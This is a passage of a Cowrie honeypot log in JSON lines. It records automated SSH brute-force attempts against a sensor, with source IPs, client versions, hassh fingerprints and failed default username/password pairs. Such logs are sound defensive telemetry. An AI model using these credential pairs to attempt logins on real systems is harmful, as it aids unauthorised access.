0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:06:17.410599Z","src_ip":"172.237.20.62","session":"ffc296c85243","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam","message":"login attempt [sam/sam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:06:17.931520Z","src_ip":"172.237.20.62","session":"ffc296c85243","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:06:19.097756Z","src_ip":"172.237.20.62","session":"ffc296c85243","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":57694,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1e79293185c","protocol":"ssh","message":"New connection: 172.237.20.62:57694 (159.203.135.109:22) [session: d1e79293185c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:06:28.252039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:06:28.266863Z","src_ip":"172.237.20.62","session":"d1e79293185c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:06:28.428795Z","src_ip":"172.237.20.62","session":"d1e79293185c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:06:28.912560Z","src_ip":"172.237.20.62","session":"d1e79293185c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:06:30.076623Z","src_ip":"172.237.20.62","session":"d1e79293185c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":52930,"dst_ip":"10.17.0.5","dst_port":22,"session":"3de9def34402","protocol":"ssh","message":"New connection: 80.94.92.184:52930 (10.17.0.5:22) [session: 3de9def34402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:06:38.991070Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":50248,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8fb30196f30","protocol":"ssh","message":"New connection: 172.237.20.62:50248 (159.203.135.109:22) [session: f8fb30196f30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:06:39.027283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:06:39.032791Z","src_ip":"172.237.20.62","session":"f8fb30196f30","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:06:39.085634Z","src_ip":"80.94.92.184","session":"3de9def34402","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:06:39.194822Z","src_ip":"172.237.20.62","session":"f8fb30196f30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:06:39.258664Z","src_ip":"80.94.92.184","session":"3de9def34402","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"user3","message":"login attempt [user3/user3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:06:39.709716Z","src_ip":"172.237.20.62","session":"f8fb30196f30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:06:40.028123Z","src_ip":"80.94.92.184","session":"3de9def34402","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:06:40.872913Z","src_ip":"172.237.20.62","session":"f8fb30196f30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:06:41.172531Z","src_ip":"80.94.92.184","session":"3de9def34402","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":56600,"dst_ip":"159.203.135.109","dst_port":22,"session":"caa6e20e33ef","protocol":"ssh","message":"New connection: 172.237.20.62:56600 (159.203.135.109:22) [session: caa6e20e33ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:06:49.865892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:06:49.870450Z","src_ip":"172.237.20.62","session":"caa6e20e33ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:06:50.036329Z","src_ip":"172.237.20.62","session":"caa6e20e33ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"123456","message":"login attempt [centos/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:06:50.522844Z","src_ip":"172.237.20.62","session":"caa6e20e33ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:06:51.685290Z","src_ip":"172.237.20.62","session":"caa6e20e33ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":35658,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9c68292e6a4","protocol":"ssh","message":"New connection: 172.237.20.62:35658 (159.203.135.109:22) [session: c9c68292e6a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:00.722366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:00.727273Z","src_ip":"172.237.20.62","session":"c9c68292e6a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:00.887998Z","src_ip":"172.237.20.62","session":"c9c68292e6a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext","message":"login attempt [erpnext/erpnext] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:01.412217Z","src_ip":"172.237.20.62","session":"c9c68292e6a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:02.575641Z","src_ip":"172.237.20.62","session":"c9c68292e6a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":38538,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc000337bcf8","protocol":"ssh","message":"New connection: 172.237.20.62:38538 (159.203.135.109:22) [session: fc000337bcf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:11.718323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:11.724627Z","src_ip":"172.237.20.62","session":"fc000337bcf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:11.961463Z","src_ip":"172.237.20.62","session":"fc000337bcf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:12.452838Z","src_ip":"172.237.20.62","session":"fc000337bcf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:13.619543Z","src_ip":"172.237.20.62","session":"fc000337bcf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.211.139","src_port":58656,"dst_ip":"159.203.135.109","dst_port":22,"session":"8781f3bec104","protocol":"ssh","message":"New connection: 89.144.211.139:58656 (159.203.135.109:22) [session: 8781f3bec104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:16.134974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:16.139649Z","src_ip":"89.144.211.139","session":"8781f3bec104","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:16.274706Z","src_ip":"89.144.211.139","session":"8781f3bec104","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123abc","message":"login attempt [ubuntu/123abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:16.821081Z","src_ip":"89.144.211.139","session":"8781f3bec104","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:17.958710Z","src_ip":"89.144.211.139","session":"8781f3bec104","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.192.25.118","src_port":48276,"dst_ip":"159.203.135.109","dst_port":23,"session":"24fa4df894fc","protocol":"telnet","message":"New connection: 31.192.25.118:48276 (159.203.135.109:23) [session: 24fa4df894fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:22.442064Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":49056,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9afb40f9906","protocol":"ssh","message":"New connection: 172.237.20.62:49056 (159.203.135.109:22) [session: a9afb40f9906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:22.832424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:22.837436Z","src_ip":"172.237.20.62","session":"a9afb40f9906","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:22.999953Z","src_ip":"172.237.20.62","session":"a9afb40f9906","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:23.489728Z","src_ip":"172.237.20.62","session":"a9afb40f9906","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:24.666568Z","src_ip":"172.237.20.62","session":"a9afb40f9906","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":41404,"dst_ip":"159.203.135.109","dst_port":22,"session":"71769453eed7","protocol":"ssh","message":"New connection: 172.237.20.62:41404 (159.203.135.109:22) [session: 71769453eed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:07:33.868132Z"}
